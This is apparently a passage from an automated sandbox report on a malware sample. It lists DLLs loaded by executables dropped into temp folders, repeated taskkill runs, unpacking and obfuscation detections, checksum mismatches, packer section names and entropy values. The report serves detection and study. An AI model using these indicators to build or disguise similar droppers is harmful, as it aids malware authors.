Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2958848 > 1048576

Source: file.exe

Static PE information: Raw size of wkslfpnx is bigger than: 0x100000 < 0x2a8e00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Unpacked PE file: 3.2.A94C1J5VAPFWM1J1FS.exe.cc0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sygcicsm:EW;gyxlqsfm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sygcicsm:EW;gyxlqsfm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Unpacked PE file: 4.2.PJGT15Z82T6C2GQS.exe.4a0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wyvqzkuk:EW;kejrglww:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wyvqzkuk:EW;kejrglww:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sygcicsm:EW;gyxlqsfm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sygcicsm:EW;gyxlqsfm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sygcicsm:EW;gyxlqsfm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sygcicsm:EW;gyxlqsfm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Unpacked PE file: 7.2.6BWDEAM9H4119O8P9KYSM4M710Q.exe.930000.0.unpack :EW;.rsrc:W;.idata :W;mjjuywzq:EW;kuccapjc:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 10.2.skotes.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sygcicsm:EW;gyxlqsfm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sygcicsm:EW;gyxlqsfm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Unpacked PE file: 13.2.36c3130eac.exe.f10000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wyvqzkuk:EW;kejrglww:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wyvqzkuk:EW;kejrglww:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Unpacked PE file: 14.2.ee8d47a049.exe.710000.0.unpack :EW;.rsrc :W;.idata :W;wkslfpnx:EW;dfiorjat:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;wkslfpnx:EW;dfiorjat:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Unpacked PE file: 31.2.LIZ1X768O6R3WBN7EPZHLFTDS.exe.8e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sygcicsm:EW;gyxlqsfm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sygcicsm:EW;gyxlqsfm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Unpacked PE file: 33.2.36c3130eac.exe.f10000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wyvqzkuk:EW;kejrglww:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wyvqzkuk:EW;kejrglww:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Unpacked PE file: 34.2.ZR7XTEYLCJ0IZBOL3C6E.exe.1d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wyvqzkuk:EW;kejrglww:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wyvqzkuk:EW;kejrglww:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Unpacked PE file: 36.2.Z72A5QS1XOE2OWTBBJM669OT.exe.b50000.0.unpack :EW;.rsrc:W;.idata :W;mjjuywzq:EW;kuccapjc:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: random[1].exe.10.dr	Static PE information: real checksum: 0x2d4494 should be: 0x2d5b7e
Source: Z72A5QS1XOE2OWTBBJM669OT.exe.12.dr	Static PE information: real checksum: 0x2bdd05 should be: 0x2b5596
Source: ee8d47a049.exe.10.dr	Static PE information: real checksum: 0x2d4494 should be: 0x2d5b7e
Source: 36c3130eac.exe.10.dr	Static PE information: real checksum: 0x1d22e7 should be: 0x1c68ed
Source: A94C1J5VAPFWM1J1FS.exe.0.dr	Static PE information: real checksum: 0x1e00a9 should be: 0x1d79ca
Source: ZR7XTEYLCJ0IZBOL3C6E.exe.12.dr	Static PE information: real checksum: 0x1d22e7 should be: 0x1c68ed
Source: random[1].exe0.10.dr	Static PE information: real checksum: 0x1d22e7 should be: 0x1c68ed
Source: LIZ1X768O6R3WBN7EPZHLFTDS.exe.12.dr	Static PE information: real checksum: 0x1e00a9 should be: 0x1d79ca
Source: PJGT15Z82T6C2GQS.exe.0.dr	Static PE information: real checksum: 0x1d22e7 should be: 0x1c68ed
Source: file.exe	Static PE information: real checksum: 0x2d4494 should be: 0x2d5b7e
Source: 6BWDEAM9H4119O8P9KYSM4M710Q.exe.0.dr	Static PE information: real checksum: 0x2bdd05 should be: 0x2b5596
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x1e00a9 should be: 0x1d79ca
Source: num[1].exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: wkslfpnx
Source: file.exe	Static PE information: section name: dfiorjat
Source: file.exe	Static PE information: section name: .taggant
Source: A94C1J5VAPFWM1J1FS.exe.0.dr	Static PE information: section name:
Source: A94C1J5VAPFWM1J1FS.exe.0.dr	Static PE information: section name: .idata
Source: A94C1J5VAPFWM1J1FS.exe.0.dr	Static PE information: section name:
Source: A94C1J5VAPFWM1J1FS.exe.0.dr	Static PE information: section name: sygcicsm
Source: A94C1J5VAPFWM1J1FS.exe.0.dr	Static PE information: section name: gyxlqsfm
Source: A94C1J5VAPFWM1J1FS.exe.0.dr	Static PE information: section name: .taggant
Source: PJGT15Z82T6C2GQS.exe.0.dr	Static PE information: section name:
Source: PJGT15Z82T6C2GQS.exe.0.dr	Static PE information: section name: .rsrc
Source: PJGT15Z82T6C2GQS.exe.0.dr	Static PE information: section name: .idata
Source: PJGT15Z82T6C2GQS.exe.0.dr	Static PE information: section name:
Source: PJGT15Z82T6C2GQS.exe.0.dr	Static PE information: section name: wyvqzkuk
Source: PJGT15Z82T6C2GQS.exe.0.dr	Static PE information: section name: kejrglww
Source: PJGT15Z82T6C2GQS.exe.0.dr	Static PE information: section name: .taggant
Source: 6BWDEAM9H4119O8P9KYSM4M710Q.exe.0.dr	Static PE information: section name:
Source: 6BWDEAM9H4119O8P9KYSM4M710Q.exe.0.dr	Static PE information: section name: .idata
Source: 6BWDEAM9H4119O8P9KYSM4M710Q.exe.0.dr	Static PE information: section name: mjjuywzq
Source: 6BWDEAM9H4119O8P9KYSM4M710Q.exe.0.dr	Static PE information: section name: kuccapjc
Source: 6BWDEAM9H4119O8P9KYSM4M710Q.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: sygcicsm
Source: skotes.exe.3.dr	Static PE information: section name: gyxlqsfm
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe.10.dr	Static PE information: section name: .idata
Source: random[1].exe.10.dr	Static PE information: section name: wkslfpnx
Source: random[1].exe.10.dr	Static PE information: section name: dfiorjat
Source: random[1].exe.10.dr	Static PE information: section name: .taggant
Source: ee8d47a049.exe.10.dr	Static PE information: section name:
Source: ee8d47a049.exe.10.dr	Static PE information: section name: .rsrc
Source: ee8d47a049.exe.10.dr	Static PE information: section name: .idata
Source: ee8d47a049.exe.10.dr	Static PE information: section name: wkslfpnx
Source: ee8d47a049.exe.10.dr	Static PE information: section name: dfiorjat
Source: ee8d47a049.exe.10.dr	Static PE information: section name: .taggant
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: wyvqzkuk
Source: random[1].exe0.10.dr	Static PE information: section name: kejrglww
Source: random[1].exe0.10.dr	Static PE information: section name: .taggant
Source: 36c3130eac.exe.10.dr	Static PE information: section name:
Source: 36c3130eac.exe.10.dr	Static PE information: section name: .rsrc
Source: 36c3130eac.exe.10.dr	Static PE information: section name: .idata
Source: 36c3130eac.exe.10.dr	Static PE information: section name:
Source: 36c3130eac.exe.10.dr	Static PE information: section name: wyvqzkuk
Source: 36c3130eac.exe.10.dr	Static PE information: section name: kejrglww
Source: 36c3130eac.exe.10.dr	Static PE information: section name: .taggant
Source: LIZ1X768O6R3WBN7EPZHLFTDS.exe.12.dr	Static PE information: section name:
Source: LIZ1X768O6R3WBN7EPZHLFTDS.exe.12.dr	Static PE information: section name: .idata
Source: LIZ1X768O6R3WBN7EPZHLFTDS.exe.12.dr	Static PE information: section name:
Source: LIZ1X768O6R3WBN7EPZHLFTDS.exe.12.dr	Static PE information: section name: sygcicsm
Source: LIZ1X768O6R3WBN7EPZHLFTDS.exe.12.dr	Static PE information: section name: gyxlqsfm
Source: LIZ1X768O6R3WBN7EPZHLFTDS.exe.12.dr	Static PE information: section name: .taggant
Source: ZR7XTEYLCJ0IZBOL3C6E.exe.12.dr	Static PE information: section name:
Source: ZR7XTEYLCJ0IZBOL3C6E.exe.12.dr	Static PE information: section name: .rsrc
Source: ZR7XTEYLCJ0IZBOL3C6E.exe.12.dr	Static PE information: section name: .idata
Source: ZR7XTEYLCJ0IZBOL3C6E.exe.12.dr	Static PE information: section name:
Source: ZR7XTEYLCJ0IZBOL3C6E.exe.12.dr	Static PE information: section name: wyvqzkuk
Source: ZR7XTEYLCJ0IZBOL3C6E.exe.12.dr	Static PE information: section name: kejrglww
Source: ZR7XTEYLCJ0IZBOL3C6E.exe.12.dr	Static PE information: section name: .taggant
Source: Z72A5QS1XOE2OWTBBJM669OT.exe.12.dr	Static PE information: section name:
Source: Z72A5QS1XOE2OWTBBJM669OT.exe.12.dr	Static PE information: section name: .idata
Source: Z72A5QS1XOE2OWTBBJM669OT.exe.12.dr	Static PE information: section name: mjjuywzq
Source: Z72A5QS1XOE2OWTBBJM669OT.exe.12.dr	Static PE information: section name: kuccapjc
Source: Z72A5QS1XOE2OWTBBJM669OT.exe.12.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0069FA71 pushfd ; retf	0_3_0069FB62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0069FA71 pushfd ; retf	0_3_0069FB62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A1AE6 push esp; ret	0_3_006A1AE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A1AE6 push esp; ret	0_3_006A1AE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A24F8 push esp; retf	0_3_006A24F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A24F8 push esp; retf	0_3_006A24F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0069E882 push F80069CBh; retf	0_3_0069E9D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0069E882 push F80069CBh; retf	0_3_0069E9D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A1286 push eax; ret	0_3_006A1295
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A1286 push eax; ret	0_3_006A1295
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0069FB65 pushfd ; iretd	0_3_0069FB82
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0069FB65 pushfd ; iretd	0_3_0069FB82
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A3564 push ebx; retf	0_3_006A3579
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A3564 push ebx; retf	0_3_006A3579
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A2B5E push esp; ret	0_3_006A2B61
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A2B5E push esp; ret	0_3_006A2B61
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A350A push ebx; retf	0_3_006A3579
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A350A push ebx; retf	0_3_006A3579
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0069E9D2 push F80069CBh; retf	0_3_0069E9D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0069E9D2 push F80069CBh; retf	0_3_0069E9D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0069FA71 pushfd ; retf	0_3_0069FB62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0069FA71 pushfd ; retf	0_3_0069FB62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A1AE6 push esp; ret	0_3_006A1AE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A1AE6 push esp; ret	0_3_006A1AE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A24F8 push esp; retf	0_3_006A24F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A24F8 push esp; retf	0_3_006A24F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0069E882 push F80069CBh; retf	0_3_0069E9D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0069E882 push F80069CBh; retf	0_3_0069E9D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A1286 push eax; ret	0_3_006A1295
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006A1286 push eax; ret	0_3_006A1295
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0069FB65 pushfd ; iretd	0_3_0069FB82

Source: file.exe	Static PE information: section name: entropy: 7.984667685807601
Source: A94C1J5VAPFWM1J1FS.exe.0.dr	Static PE information: section name: entropy: 7.984117370985836
Source: A94C1J5VAPFWM1J1FS.exe.0.dr	Static PE information: section name: sygcicsm entropy: 7.953726333004154
Source: PJGT15Z82T6C2GQS.exe.0.dr	Static PE information: section name: wyvqzkuk entropy: 7.95409499130381
